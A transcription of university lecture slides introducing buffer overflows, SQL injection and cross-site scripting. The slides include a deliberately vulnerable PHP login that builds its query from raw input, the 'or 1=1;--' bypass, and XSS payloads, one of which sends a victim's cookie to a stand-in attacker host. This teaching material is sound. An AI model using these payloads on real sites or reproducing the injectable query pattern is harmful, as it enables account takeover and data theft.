Introduction. Buffer Overflow. SQL Injection. Cross-Site Scripting. Software Security I. Overview. Source: SearchsoftwareQuality.techtarget.



Similar documents
Web Application Security

Exploits: XSS, SQLI, Buffer Overflow

A Tale of the Weaknesses of Current Client-side XSS Filtering

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Fortigate SSL VPN 4 With PINsafe Installation Notes

Web Application Security Considerations

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

SQL Injection for newbie

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Fortigate SSL VPN 3.x With PINsafe Installation Notes

Cross-Site Scripting

Understanding Web Application Security Issues

Web Application Guidelines

Project 2: Web Security Pitfalls

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Start Secure. Stay Secure. Cross-Site Scripting. Are your web applications vulnerable? By Kevin Spett

The Top Web Application Attacks: Are you vulnerable?

Common Security Vulnerabilities in Online Payment Systems

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Data Breaches and Web Servers: The Giant Sucking Sound

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

How To Fix A Web Application Security Vulnerability

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

CTF Web Security Training. Engin Kirda

A Tale of the Weaknesses of Current Client-Side XSS Filtering

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Web Application Vulnerabilities and Avoiding Application Exposure

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

What is Web Security? Motivation

Ethical Hacking Penetrating Web 2.0 Security

Advanced Tornado TWENTYONE Advanced Tornado Accessing MySQL from Python LAB

HTML Tables. IT 3203 Introduction to Web Development

Passing PCI Compliance How to Address the Application Security Mandates

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Uploaded images filter evasion for carrying out XSS attacks

Threat Modeling. Categorizing the nature and severity of system vulnerabilities. John B. Dickson, CISSP

Web application security

Cyber Security Workshop Ethical Web Hacking

Web Application Security

Columbia University Web Security Standards and Practices. Objective and Scope

5 Simple Steps to Secure Database Development

Web-Application Security

Understanding Cross Site Scripting

A Survey on Threats and Vulnerabilities of Web Services

Live Hacking. Threats & Countermeasures in Action (SEC411) Ofer Maor CTO Hacktics Ltd.

Rational AppScan & Ounce Products

Web Application Exploits

PHP Authentication Schemes

OWASP Application Security Building and Breaking Applications

Preparing for the Cross Site Request Forgery Defense

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Application Intrusion Detection

Common Criteria Web Application Security Scoring CCWAPSS

WEB ATTACKS AND COUNTERMEASURES

Last update: February 23, 2004

Defending against XSS,CSRF, and Clickjacking David Bishop

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Advanced Web Security, Lab

Check list for web developers

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

Cross Site Scripting in Joomla Acajoom Component

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Security Awareness For Website Administrators. State of Illinois Central Management Services Security and Compliance Solutions

Course Content: Session 1. Ethics & Hacking

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Network Security Web Security

A Novel Frame Work to Detect Malicious Attacks in Web Applications

Application Security Vulnerabilities, Mitigation, and Consequences

Cross-site site Scripting Attacks on Android WebView

Attack and Penetration Testing 101

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

University of Wisconsin Platteville SE411. Senior Seminar. Web System Attacks. Maxwell Friederichs. April 18, 2013

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Attacks on Clients: Dynamic Content & XSS

Web Application Security

Essential IT Security Testing

Web Application Worms & Browser Insecurity

Intell-a-Keeper Reporting System Technical Programming Guide. Tracking your Bookings without going Nuts!

Web application security: Testing for vulnerabilities

Web Application Report

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

IBM Protocol Analysis Module

SQL Injection. Slides thanks to Prof. Shmatikov at UT Austin

Transcription:

Overview Introduction Buffer Overflow SQL Injection Cross-Site Scripting Source: SearchsoftwareQuality.techtarget.com

Introduction Some of the most common and widely exploited software vulnerabilities are variants of: Buffer Overflow SQL Injection Cross-Site Scripting Best countermeasure (amongst others) Awareness, smart programming not allowing them to occur at all These flaws typically occur as a consequence of insufficient checking and validation of data and error codes in programs

Introduction Abstract View of a Program Ariane 5

Buffer Overflow/ Buffer Overrun Buffer: contiguous segment of memory that holds several instances of data Buffer overflow: common and widely-spread software vulnerability caused by not properly validating user input allows more data to be stored than capacity available in a fixed sized buffer examples of consequences of overwriting adjacent memory locations: corruption of program data unexpected transfer of control memory access violation execution of code chosen by attacker

Program Functioning Correctly

Example of Buffer Overflow

Buffer Overflow Basics impact of buffer overflow problem has been felt since 1988 when the Morris worm attack was carried out still a problem due to both a legacy of buggy code in widely deployed operating systems and applications (C) and programs that do not anticipate a certain type of faulty/ malicious input 1988 the Morris worm 2001 the Code Red worm exploits a buffer overflow in MS IIS 5.0 2003 the Slammer worm exploits a buffer overflow in MS SQL Server 2000 2004 the Sasser worm exploits a buffer overflow in MS Windows 2007 2009

Injection Attacks Injection attacks invalid input handling most often occurs in scripting languages (perl, PHP, python etc.) SQL Injection: most widely web-based exploited injection attack (application layer attack) How do you think a SQL attack would be carried out? What vulnerability can be exploited?

SQL Injection Attacks Legit query SELECT * from users WHERE username = admin and password = 123 Injected SQL code SELECT * from users where username = admin and password = XXX or 1 = 1

SQL Injection Attacks DB of secret 415 agents SQL SELECT id FROM users WHERE username = nazli and password = xxxx SELECT id FROM users WHERE username = nazli or 1=1 - - and password = xxxx What do you think would happen here?

SQL Injection Attacks (index.html) <html> <head><title>sql Injection Demo</title></head> <body onload="document.getelementbyid('user_name').focus();" > <form name="login_form" id="login_form" method="post" action="login.php"> <table border=0 align="center" > <tr> <td colspan=5 align="center" ><font face="century Schoolbook L" > Login Page </font></td> </tr> <tr> <td> User Name:</td><td> <input type="text" size="13" id="user_name" name="user_name" value=""></td> </tr> <tr> <td> Password: </td><td> <input type="password" size="13" id="pass_word" name="pass_word" value=""></td> </tr> <tr> <td colspan=2 align="center"><input type="submit" value="login"> </div></td> </tr> </table> </form> </body> </html> SL cheat sheet: http://ha.ckers.org/sqlinjection/

SQL Injection Attacks (login.php) <?php $Host= '192.168.1.8'; $Dbname= 'john'; $User= 'john'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$dbname user=$user password=$password"; /* Connect with database asking for a new connection*/ $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); /* Error checking the connection string */ if (!$Connect) { echo "Database Connection Failure"; exit; } $query="select * from $Schema.users where user_name='".$_post['user_name']."' and password='".$_post['pass_word']."';"; $result=pg_query($connect,$query); $rows = pg_num_rows($result); if ($rows) { echo "Login Success"; } else { echo "Login Failed"; }?> Username field: or 1=1;-- Password field: empty In login.php the query will be framed as follows: SELECT * from list WHERE user_name='' or 1=1;--' and password='';

Effects of SQL Injection Attacks bypass of login page/ backdoor DOS iframe injection access to system files stealing of sensitive information (personnel and credit) vulnerability of other computers on LAN

SQL Injection Attacks Defenses?

Cross-Site Scripting (XSS) Common application layer hacking technique Exploit vulnerabilities in the code of Web applications Dynamically generated website do not have complete control over how their outputs are interpreted by browser/ client Especially relevant in the age of widespread use of guestbook programs: wikis, and blogs, social networking which all allow users accessing the site to leave comments which are subsequently viewed by other users. Unless the contents of these comments are checked, and any dangerous code removed, an attack is inevitable How do you think a XSS attack would be carried out?

Cross-Site Scripting (XSS) Hacker Victim Your Page The Web

Cross-Site Scripting (XSS) Some ways in which your webpage could be infected? <script src=http://hacker-site.com/xss.js></script> <body onload=alert("xss")> <body background="javascript:alert('xss')"> <img src="javascript:alert('xss');"> <iframe src= http://hacker-site.com/xss.html > <link rel="stylesheet" href="javascript:alert('xss');">

XSS T h a n ks f o r t h i s i n f or m a t io n, i t s g r e a t! < s c r ip t > d oc u m e nt. l o ca t i o n= ' ht t p : // h a c ke r. w eb. s i te / c o ok i e. cg i? ' + d o c u me n t. co o k i e< / s c ri p t > If this text were saved by a guestbook application, then when viewed by others, it will display a little text and also then execute the Javascript code Many sites require users to register before using features like a guestbook application. With this attack, a user s (anyone who views the comment) cookie is supplied to the attacker, who could then use it to impersonate the user on the original site

Common XSS Example 1. John often visits an informative website hosted by Kevin 2. Kevin s website enables John to log in (username/password) and store sensitive information, such as credit card, bank accounts etc. 3. Badam devises a plan to exploit any possible vulnerability he creates a URL and sends John a friendly post, in which he embeds the URL 4. The malicious script embedded in the post executes in John s (or ) browser, as if it came directly from Kevin s server what s bad about this? 5. Badam can then use the session cookie to possibly steal sensitive information available to John (authentication credentials, cc and banking info, etc) without John s knowledge

Common XSS Example Defenses Against XSS? Cross-Scripting Cheat Sheet http://ha.ckers.org/xss.html